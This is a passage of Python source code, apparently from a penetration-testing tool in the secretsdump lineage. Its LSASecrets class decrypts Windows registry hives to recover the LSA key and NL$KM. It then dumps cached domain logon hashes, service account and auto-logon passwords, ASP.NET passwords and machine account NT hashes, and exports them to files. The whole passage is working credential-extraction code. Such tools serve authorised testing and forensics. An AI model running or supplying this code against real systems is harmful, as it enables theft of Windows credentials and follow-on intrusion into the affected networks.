'hash', self.__hostname, userName,
'{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fd = codecs.open(fileName + '.sam', 'w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item] + '\n')
fd.close()
class LSASecrets(OfflineRegistry):
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__logger = logger
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptAES(self, key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack('<I', value[:4])[0]
value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return secret['Secret']
def __decryptHash(self, key, value, iv):
hmac_md5 = HMAC.new(key,iv)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(value)
return data
def __decryptLSA(self, value):
if self.__vistaStyle is True:
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
else:
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(value[60:76])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.decrypt(value[12:60])
self.__LSAKey = plainText[0x10:0x20]
def __getLSASecretKey(self):
logging.debug('Decrypting LSA Key')
# Let's try the key post XP
value = self.getValue('\\Policy\\PolEKList\\default')
if value is None:
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
# Second chance
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
self.__vistaStyle = False
if value is None:
# No way :(
return None
self.__decryptLSA(value[1])
def __getNLKMSecret(self):
logging.debug('Decrypting NL$KM')
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
if value is None:
raise Exception("Couldn't get NL$KM value")
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
def __pad(self, data):
if (data & 0x3) > 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecesary value
values.remove('NL$Control')
except:
pass
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
logging.debug('Looking into %s' % value)
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']):]
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
self.__logger.highlight(answer)
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
logging.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith('\x00\x00'):
logging.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
logging.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if self.__isRemote is True:
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if self.__isRemote is True:
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if self.__isRemote is True:
machine, domain = self.__remoteOps.getMachineNameAndDomain()
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
else:
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
self.__secretItems.append(secret)
self.__logger.highlight(secret)
else:
# Default print, hexdump
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem)))
#hexdump(secretItem)
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecesary value
keys.remove('NL$Control')
except:
pass
if self.__LSAKey == '':
self.__getLSASecretKey()
for key in keys:
logging.debug('Looking into %s' % key)
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
if value is not None:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
self.__printSecret(key, secret)
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
def exportCached(self, fileName):
if len(self.__cachedItems) > 0:
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()
